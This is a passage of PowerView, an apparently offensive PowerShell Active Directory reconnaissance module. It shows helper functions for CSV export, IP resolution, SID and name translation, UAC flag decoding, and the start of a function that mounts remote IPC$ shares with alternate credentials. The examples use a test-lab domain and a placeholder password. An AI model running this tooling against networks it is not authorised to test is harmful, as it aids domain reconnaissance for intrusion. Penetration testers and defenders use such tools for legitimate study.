1630PowerView has a thread-safe way to export output to the same file.
1631Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
1632
1633Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
1634
1635.PARAMETER InputObject
1636
1637Specifies the objects to export as CSV strings.
1638
1639.PARAMETER Path
1640
1641Specifies the path to the CSV output file.
1642
1643.PARAMETER Delimiter
1644
1645Specifies a delimiter to separate the property values. The default is a comma (,)
1646
1647.PARAMETER Append
1648
1649Indicates that this cmdlet adds the CSV output to the end of the specified file.
1650Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
1651
1652.EXAMPLE
1653
1654Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
1655
1656.EXAMPLE
1657
1658Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
1659
1660.INPUTS
1661
1662PSObject
1663
1664Accepts one or more PSObjects on the pipeline.
1665
1666.LINK
1667
1668http://poshcode.org/1590
1669http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
1670#>
1671
1672 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1673 [CmdletBinding()]
1674 Param(
1675 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1676 [System.Management.Automation.PSObject[]]
1677 $InputObject,
1678
1679 [Parameter(Mandatory = $True, Position = 1)]
1680 [ValidateNotNullOrEmpty()]
1681 [String]
1682 $Path,
1683
1684 [Parameter(Position = 2)]
1685 [ValidateNotNullOrEmpty()]
1686 [Char]
1687 $Delimiter = ',',
1688
1689 [Switch]
1690 $Append
1691 )
1692
1693 BEGIN {
1694 $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
1695 $Exists = [System.IO.File]::Exists($OutputPath)
1696
1697 # mutex so threaded code doesn't stomp on the output file
1698 $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
1699 $Null = $Mutex.WaitOne()
1700
1701 if ($PSBoundParameters['Append']) {
1702 $FileMode = [System.IO.FileMode]::Append
1703 }
1704 else {
1705 $FileMode = [System.IO.FileMode]::Create
1706 $Exists = $False
1707 }
1708
1709 $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
1710 $CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
1711 $CSVWriter.AutoFlush = $True
1712 }
1713
1714 PROCESS {
1715 ForEach ($Entry in $InputObject) {
1716 $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
1717
1718 if (-not $Exists) {
1719 # output the object field names as well
1720 $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
1721 $Exists = $True
1722 }
1723 else {
1724 # only output object field data
1725 $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
1726 }
1727 }
1728 }
1729
1730 END {
1731 $Mutex.ReleaseMutex()
1732 $CSVWriter.Dispose()
1733 $CSVStream.Dispose()
1734 }
1735}
1736
1737function Resolve-IPAddress {
1738<#
1739.SYNOPSIS
1740
1741Resolves a given hostename to its associated IPv4 address.
1742
1743Author: Will Schroeder (@harmj0y)
1744License: BSD 3-Clause
1745Required Dependencies: None
1746
1747.DESCRIPTION
1748
1749Resolves a given hostename to its associated IPv4 address using
1750[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
1751is the IP address of the localhost.
1752
1753.EXAMPLE
1754
1755Resolve-IPAddress -ComputerName SERVER
1756
1757.EXAMPLE
1758
1759@("SERVER1", "SERVER2") | Resolve-IPAddress
1760
1761.INPUTS
1762
1763String
1764
1765Accepts one or more IP address strings on the pipeline.
1766
1767.OUTPUTS
1768
1769System.Management.Automation.PSCustomObject
1770
1771A custom PSObject with the ComputerName and IPAddress.
1772#>
1773
1774 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1775 [OutputType('System.Management.Automation.PSCustomObject')]
1776 [CmdletBinding()]
1777 Param(
1778 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1779 [Alias('HostName', 'dnshostname', 'name')]
1780 [ValidateNotNullOrEmpty()]
1781 [String[]]
1782 $ComputerName = $Env:COMPUTERNAME
1783 )
1784
1785 PROCESS {
1786 ForEach ($Computer in $ComputerName) {
1787 try {
1788 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
1789 if ($_.AddressFamily -eq 'InterNetwork') {
1790 $Out = New-Object PSObject
1791 $Out | Add-Member Noteproperty 'ComputerName' $Computer
1792 $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
1793 $Out
1794 }
1795 }
1796 }
1797 catch {
1798 Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
1799 }
1800 }
1801 }
1802}
1803
1804function ConvertTo-SID {
1805<#
1806.SYNOPSIS
1807
1808Converts a given user/group name to a security identifier (SID).
1809
1810Author: Will Schroeder (@harmj0y)
1811License: BSD 3-Clause
1812Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
1813
1814.DESCRIPTION
1815
1816Converts a "DOMAIN\username" syntax to a security identifier (SID)
1817using System.Security.Principal.NTAccount's translate function. If alternate
1818credentials are supplied, then Get-ADObject is used to try to map the name
1819to a security identifier.
1820
1821.PARAMETER ObjectName
1822
1823The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
1824
1825.PARAMETER Domain
1826
1827Specifies the domain to use for the translation, defaults to the current domain.
1828
1829.PARAMETER Server
1830
1831Specifies an Active Directory server (domain controller) to bind to for the translation.
1832
1833.PARAMETER Credential
1834
1835Specifies an alternate credential to use for the translation.
1836
1837.EXAMPLE
1838
1839ConvertTo-SID 'DEV\dfm'
1840
1841.EXAMPLE
1842
1843'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
1844
1845.EXAMPLE
1846
1847$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
1848$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
1849'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
1850
1851.INPUTS
1852
1853String
1854
1855Accepts one or more username specification strings on the pipeline.
1856
1857.OUTPUTS
1858
1859String
1860
1861A string representing the SID of the translated name.
1862#>
1863
1864 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
1865 [OutputType([String])]
1866 [CmdletBinding()]
1867 Param(
1868 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1869 [Alias('Name', 'Identity')]
1870 [String[]]
1871 $ObjectName,
1872
1873 [ValidateNotNullOrEmpty()]
1874 [String]
1875 $Domain,
1876
1877 [ValidateNotNullOrEmpty()]
1878 [Alias('DomainController')]
1879 [String]
1880 $Server,
1881
1882 [Management.Automation.PSCredential]
1883 [Management.Automation.CredentialAttribute()]
1884 $Credential = [Management.Automation.PSCredential]::Empty
1885 )
1886
1887 BEGIN {
1888 $DomainSearcherArguments = @{}
1889 if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
1890 if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
1891 if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
1892 }
1893
1894 PROCESS {
1895 ForEach ($Object in $ObjectName) {
1896 $Object = $Object -Replace '/','\'
1897
1898 if ($PSBoundParameters['Credential']) {
1899 $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
1900 if ($DN) {
1901 $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
1902 $UserName = $DN.Split(',')[0].split('=')[1]
1903
1904 $DomainSearcherArguments['Identity'] = $UserName
1905 $DomainSearcherArguments['Domain'] = $UserDomain
1906 $DomainSearcherArguments['Properties'] = 'objectsid'
1907 Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
1908 }
1909 }
1910 else {
1911 try {
1912 if ($Object.Contains('\')) {
1913 $Domain = $Object.Split('\')[0]
1914 $Object = $Object.Split('\')[1]
1915 }
1916 elseif (-not $PSBoundParameters['Domain']) {
1917 $DomainSearcherArguments = @{}
1918 $Domain = (Get-Domain @DomainSearcherArguments).Name
1919 }
1920
1921 $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
1922 $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
1923 }
1924 catch {
1925 Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
1926 }
1927 }
1928 }
1929 }
1930}
1931
1932function ConvertFrom-SID {
1933<#
1934.SYNOPSIS
1935
1936Converts a security identifier (SID) to a group/user name.
1937
1938Author: Will Schroeder (@harmj0y)
1939License: BSD 3-Clause
1940Required Dependencies: Convert-ADName
1941
1942.DESCRIPTION
1943
1944Converts a security identifier string (SID) to a group/user name
1945using Convert-ADName.
1946
1947.PARAMETER ObjectSid
1948
1949Specifies one or more SIDs to convert.
1950
1951.PARAMETER Domain
1952
1953Specifies the domain to use for the translation, defaults to the current domain.
1954
1955.PARAMETER Server
1956
1957Specifies an Active Directory server (domain controller) to bind to for the translation.
1958
1959.PARAMETER Credential
1960
1961Specifies an alternate credential to use for the translation.
1962
1963.EXAMPLE
1964
1965ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
1966
1967TESTLAB\harmj0y
1968
1969.EXAMPLE
1970
1971"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
1972
1973TESTLAB\WINDOWS2$
1974TESTLAB\harmj0y
1975BUILTIN\Distributed COM Users
1976
1977.EXAMPLE
1978
1979$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
1980$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
1981ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
1982
1983TESTLAB\harmj0y
1984
1985.INPUTS
1986
1987String
1988
1989Accepts one or more SID strings on the pipeline.
1990
1991.OUTPUTS
1992
1993String
1994
1995The converted DOMAIN\username.
1996#>
1997
1998 [OutputType([String])]
1999 [CmdletBinding()]
2000 Param(
2001 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2002 [Alias('SID')]
2003 [ValidatePattern('^S-1-.*')]
2004 [String[]]
2005 $ObjectSid,
2006
2007 [ValidateNotNullOrEmpty()]
2008 [String]
2009 $Domain,
2010
2011 [ValidateNotNullOrEmpty()]
2012 [Alias('DomainController')]
2013 [String]
2014 $Server,
2015
2016 [Management.Automation.PSCredential]
2017 [Management.Automation.CredentialAttribute()]
2018 $Credential = [Management.Automation.PSCredential]::Empty
2019 )
2020
2021 BEGIN {
2022 $ADNameArguments = @{}
2023 if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
2024 if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
2025 if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
2026 }
2027
2028 PROCESS {
2029 ForEach ($TargetSid in $ObjectSid) {
2030 $TargetSid = $TargetSid.trim('*')
2031 try {
2032 # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
2033 Switch ($TargetSid) {
2034 'S-1-0' { 'Null Authority' }
2035 'S-1-0-0' { 'Nobody' }
2036 'S-1-1' { 'World Authority' }
2037 'S-1-1-0' { 'Everyone' }
2038 'S-1-2' { 'Local Authority' }
2039 'S-1-2-0' { 'Local' }
2040 'S-1-2-1' { 'Console Logon ' }
2041 'S-1-3' { 'Creator Authority' }
2042 'S-1-3-0' { 'Creator Owner' }
2043 'S-1-3-1' { 'Creator Group' }
2044 'S-1-3-2' { 'Creator Owner Server' }
2045 'S-1-3-3' { 'Creator Group Server' }
2046 'S-1-3-4' { 'Owner Rights' }
2047 'S-1-4' { 'Non-unique Authority' }
2048 'S-1-5' { 'NT Authority' }
2049 'S-1-5-1' { 'Dialup' }
2050 'S-1-5-2' { 'Network' }
2051 'S-1-5-3' { 'Batch' }
2052 'S-1-5-4' { 'Interactive' }
2053 'S-1-5-6' { 'Service' }
2054 'S-1-5-7' { 'Anonymous' }
2055 'S-1-5-8' { 'Proxy' }
2056 'S-1-5-9' { 'Enterprise Domain Controllers' }
2057 'S-1-5-10' { 'Principal Self' }
2058 'S-1-5-11' { 'Authenticated Users' }
2059 'S-1-5-12' { 'Restricted Code' }
2060 'S-1-5-13' { 'Terminal Server Users' }
2061 'S-1-5-14' { 'Remote Interactive Logon' }
2062 'S-1-5-15' { 'This Organization ' }
2063 'S-1-5-17' { 'This Organization ' }
2064 'S-1-5-18' { 'Local System' }
2065 'S-1-5-19' { 'NT Authority' }
2066 'S-1-5-20' { 'NT Authority' }
2067 'S-1-5-80-0' { 'All Services ' }
2068 'S-1-5-32-544' { 'BUILTIN\Administrators' }
2069 'S-1-5-32-545' { 'BUILTIN\Users' }
2070 'S-1-5-32-546' { 'BUILTIN\Guests' }
2071 'S-1-5-32-547' { 'BUILTIN\Power Users' }
2072 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
2073 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
2074 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
2075 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
2076 'S-1-5-32-552' { 'BUILTIN\Replicators' }
2077 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
2078 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
2079 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
2080 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
2081 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
2082 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
2083 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
2084 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
2085 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
2086 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
2087 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
2088 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
2089 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
2090 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
2091 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
2092 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
2093 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
2094 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
2095 Default {
2096 Convert-ADName -Identity $TargetSid @ADNameArguments
2097 }
2098 }
2099 }
2100 catch {
2101 Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
2102 }
2103 }
2104 }
2105}
2106
2107function Convert-ADName {
2108<#
2109.SYNOPSIS
2110
2111Converts Active Directory object names between a variety of formats.
2112
2113Author: Bill Stewart, Pasquale Lantella
2114Modifications: Will Schroeder (@harmj0y)
2115License: BSD 3-Clause
2116Required Dependencies: None
2117
2118.DESCRIPTION
2119
2120This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
2121and translates Active Directory names between various formats using the NameTranslate COM object.
2122
2123.PARAMETER Identity
2124
2125Specifies the Active Directory object name to translate, of the following form:
2126
2127 DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
2128 Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
2129 NT4 domain\username; e.g., 'fabrikam\pflynn'
2130 Display display name, e.g. 'pflynn'
2131 DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
2132 EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
2133 GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
2134 UPN user principal name; e.g., 'pflynn@fabrikam.com'
2135 CanonicalEx extended canonical name format
2136 SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
2137 SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
2138
2139.PARAMETER OutputType
2140
2141Specifies the output name type you want to convert to, which must be one of the following:
2142
2143 DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
2144 Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
2145 NT4 domain\username; e.g., 'fabrikam\pflynn'
2146 Display display name, e.g. 'pflynn'
2147 DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
2148 EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
2149 GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
2150 UPN user principal name; e.g., 'pflynn@fabrikam.com'
2151 CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
2152 SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
2153
2154.PARAMETER Domain
2155
2156Specifies the domain to use for the translation, defaults to the current domain.
2157
2158.PARAMETER Server
2159
2160Specifies an Active Directory server (domain controller) to bind to for the translation.
2161
2162.PARAMETER Credential
2163
2164Specifies an alternate credential to use for the translation.
2165
2166.EXAMPLE
2167
2168Convert-ADName -Identity "TESTLAB\harmj0y"
2169
2170harmj0y@testlab.local
2171
2172.EXAMPLE
2173
2174"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
2175
2176testlab.local/Users/krbtgt
2177testlab.local/Users/Administrator
2178
2179.EXAMPLE
2180
2181Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
2182
2183CN=harmj0y,CN=Users,DC=testlab,DC=local
2184
2185.EXAMPLE
2186
2187$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
2188$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
2189'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
2190
2191TESTLAB\harmj0y
2192
2193.INPUTS
2194
2195String
2196
2197Accepts one or more objects name strings on the pipeline.
2198
2199.OUTPUTS
2200
2201String
2202
2203Outputs a string representing the converted name.
2204
2205.LINK
2206
2207http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
2208https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
2209#>
2210
2211 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
2212 [OutputType([String])]
2213 [CmdletBinding()]
2214 Param(
2215 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2216 [Alias('Name', 'ObjectName')]
2217 [String[]]
2218 $Identity,
2219
2220 [String]
2221 [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
2222 $OutputType,
2223
2224 [ValidateNotNullOrEmpty()]
2225 [String]
2226 $Domain,
2227
2228 [ValidateNotNullOrEmpty()]
2229 [Alias('DomainController')]
2230 [String]
2231 $Server,
2232
2233 [Management.Automation.PSCredential]
2234 [Management.Automation.CredentialAttribute()]
2235 $Credential = [Management.Automation.PSCredential]::Empty
2236 )
2237
2238 BEGIN {
2239 $NameTypes = @{
2240 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
2241 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
2242 'NT4' = 3 # fabrikam\pflynn
2243 'Display' = 4 # pflynn
2244 'DomainSimple' = 5 # pflynn@fabrikam.com
2245 'EnterpriseSimple' = 6 # pflynn@fabrikam.com
2246 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
2247 'Unknown' = 8 # unknown type - let the server do translation
2248 'UPN' = 9 # pflynn@fabrikam.com
2249 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
2250 'SPN' = 11 # HTTP/kairomac.contoso.com
2251 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
2252 }
2253
2254 # accessor functions from Bill Stewart to simplify calls to NameTranslate
2255 function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
2256 $Output = $Null
2257 $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
2258 Write-Output $Output
2259 }
2260
2261 function Get-Property([__ComObject] $Object, [String] $Property) {
2262 $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
2263 }
2264
2265 function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
2266 [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
2267 }
2268
2269 # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
2270 if ($PSBoundParameters['Server']) {
2271 $ADSInitType = 2
2272 $InitName = $Server
2273 }
2274 elseif ($PSBoundParameters['Domain']) {
2275 $ADSInitType = 1
2276 $InitName = $Domain
2277 }
2278 elseif ($PSBoundParameters['Credential']) {
2279 $Cred = $Credential.GetNetworkCredential()
2280 $ADSInitType = 1
2281 $InitName = $Cred.Domain
2282 }
2283 else {
2284 # if no domain or server is specified, default to GC initialization
2285 $ADSInitType = 3
2286 $InitName = $Null
2287 }
2288 }
2289
2290 PROCESS {
2291 ForEach ($TargetIdentity in $Identity) {
2292 if (-not $PSBoundParameters['OutputType']) {
2293 if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
2294 $ADSOutputType = $NameTypes['DomainSimple']
2295 }
2296 else {
2297 $ADSOutputType = $NameTypes['NT4']
2298 }
2299 }
2300 else {
2301 $ADSOutputType = $NameTypes[$OutputType]
2302 }
2303
2304 $Translate = New-Object -ComObject NameTranslate
2305
2306 if ($PSBoundParameters['Credential']) {
2307 try {
2308 $Cred = $Credential.GetNetworkCredential()
2309
2310 Invoke-Method $Translate 'InitEx' (
2311 $ADSInitType,
2312 $InitName,
2313 $Cred.UserName,
2314 $Cred.Domain,
2315 $Cred.Password
2316 )
2317 }
2318 catch {
2319 Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
2320 }
2321 }
2322 else {
2323 try {
2324 $Null = Invoke-Method $Translate 'Init' (
2325 $ADSInitType,
2326 $InitName
2327 )
2328 }
2329 catch {
2330 Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
2331 }
2332 }
2333
2334 # always chase all referrals
2335 Set-Property $Translate 'ChaseReferral' (0x60)
2336
2337 try {
2338 # 8 = Unknown name type -> let the server do the work for us
2339 $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
2340 Invoke-Method $Translate 'Get' ($ADSOutputType)
2341 }
2342 catch [System.Management.Automation.MethodInvocationException] {
2343 Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
2344 }
2345 }
2346 }
2347}
2348
2349function ConvertFrom-UACValue {
2350<#
2351.SYNOPSIS
2352
2353Converts a UAC int value to human readable form.
2354
2355Author: Will Schroeder (@harmj0y)
2356License: BSD 3-Clause
2357Required Dependencies: None
2358
2359.DESCRIPTION
2360
2361This function will take an integer that represents a User Account
2362Control (UAC) binary blob and will covert it to an ordered
2363dictionary with each bitwise value broken out. By default only values
2364set are displayed- the -ShowAll switch will display all values with
2365a + next to the ones set.
2366
2367.PARAMETER Value
2368
2369Specifies the integer UAC value to convert.
2370
2371.PARAMETER ShowAll
2372
2373Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
2374
2375.EXAMPLE
2376
2377ConvertFrom-UACValue -Value 66176
2378
2379Name Value
2380---- -----
2381ENCRYPTED_TEXT_PWD_ALLOWED 128
2382NORMAL_ACCOUNT 512
2383DONT_EXPIRE_PASSWORD 65536
2384
2385.EXAMPLE
2386
2387Get-DomainUser harmj0y | ConvertFrom-UACValue
2388
2389Name Value
2390---- -----
2391NORMAL_ACCOUNT 512
2392DONT_EXPIRE_PASSWORD 65536
2393
2394.EXAMPLE
2395
2396Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
2397
2398Name Value
2399---- -----
2400SCRIPT 1
2401ACCOUNTDISABLE 2
2402HOMEDIR_REQUIRED 8
2403LOCKOUT 16
2404PASSWD_NOTREQD 32
2405PASSWD_CANT_CHANGE 64
2406ENCRYPTED_TEXT_PWD_ALLOWED 128
2407TEMP_DUPLICATE_ACCOUNT 256
2408NORMAL_ACCOUNT 512+
2409INTERDOMAIN_TRUST_ACCOUNT 2048
2410WORKSTATION_TRUST_ACCOUNT 4096
2411SERVER_TRUST_ACCOUNT 8192
2412DONT_EXPIRE_PASSWORD 65536+
2413MNS_LOGON_ACCOUNT 131072
2414SMARTCARD_REQUIRED 262144
2415TRUSTED_FOR_DELEGATION 524288
2416NOT_DELEGATED 1048576
2417USE_DES_KEY_ONLY 2097152
2418DONT_REQ_PREAUTH 4194304
2419PASSWORD_EXPIRED 8388608
2420TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
2421PARTIAL_SECRETS_ACCOUNT 67108864
2422
2423.INPUTS
2424
2425Int
2426
2427Accepts an integer representing a UAC binary blob.
2428
2429.OUTPUTS
2430
2431System.Collections.Specialized.OrderedDictionary
2432
2433An ordered dictionary with the converted UAC fields.
2434
2435.LINK
2436
2437https://support.microsoft.com/en-us/kb/305144
2438#>
2439
2440 [OutputType('System.Collections.Specialized.OrderedDictionary')]
2441 [CmdletBinding()]
2442 Param(
2443 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
2444 [Alias('UAC', 'useraccountcontrol')]
2445 [Int]
2446 $Value,
2447
2448 [Switch]
2449 $ShowAll
2450 )
2451
2452 BEGIN {
2453 # values from https://support.microsoft.com/en-us/kb/305144
2454 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
2455 $UACValues.Add("SCRIPT", 1)
2456 $UACValues.Add("ACCOUNTDISABLE", 2)
2457 $UACValues.Add("HOMEDIR_REQUIRED", 8)
2458 $UACValues.Add("LOCKOUT", 16)
2459 $UACValues.Add("PASSWD_NOTREQD", 32)
2460 $UACValues.Add("PASSWD_CANT_CHANGE", 64)
2461 $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
2462 $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
2463 $UACValues.Add("NORMAL_ACCOUNT", 512)
2464 $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
2465 $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
2466 $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
2467 $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
2468 $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
2469 $UACValues.Add("SMARTCARD_REQUIRED", 262144)
2470 $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
2471 $UACValues.Add("NOT_DELEGATED", 1048576)
2472 $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
2473 $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
2474 $UACValues.Add("PASSWORD_EXPIRED", 8388608)
2475 $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
2476 $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
2477 }
2478
2479 PROCESS {
2480 $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
2481
2482 if ($ShowAll) {
2483 ForEach ($UACValue in $UACValues.GetEnumerator()) {
2484 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
2485 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
2486 }
2487 else {
2488 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
2489 }
2490 }
2491 }
2492 else {
2493 ForEach ($UACValue in $UACValues.GetEnumerator()) {
2494 if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
2495 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
2496 }
2497 }
2498 }
2499 $ResultUACValues
2500 }
2501}
2502
2503function Add-RemoteConnection {
2504<#
2505.SYNOPSIS
2506
2507Pseudo "mounts" a connection to a remote path using the specified
2508credential object, allowing for access of remote resources. If a -Path isn't
2509specified, a -ComputerName is required to pseudo-mount IPC$.
2510
2511Author: Will Schroeder (@harmj0y)
2512License: BSD 3-Clause
2513Required Dependencies: PSReflect
2514
2515.DESCRIPTION
2516
2517This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
2518to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
2519-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
2520
2521To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
2522or -ComputerName.
2523
2524.PARAMETER ComputerName
2525
2526Specifies the system to add a \\ComputerName\IPC$ connection for.
2527
2528.PARAMETER Path
2529
2530Specifies the remote \\UNC\path to add the connection for.
2531
2532.PARAMETER Credential
2533
2534A [Management.Automation.PSCredential] object of alternate credentials
2535for connection to the remote system.
2536
2537.EXAMPLE
2538
2539$Cred = Get-Credential
2540Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
2541
2542.EXAMPLE
2543
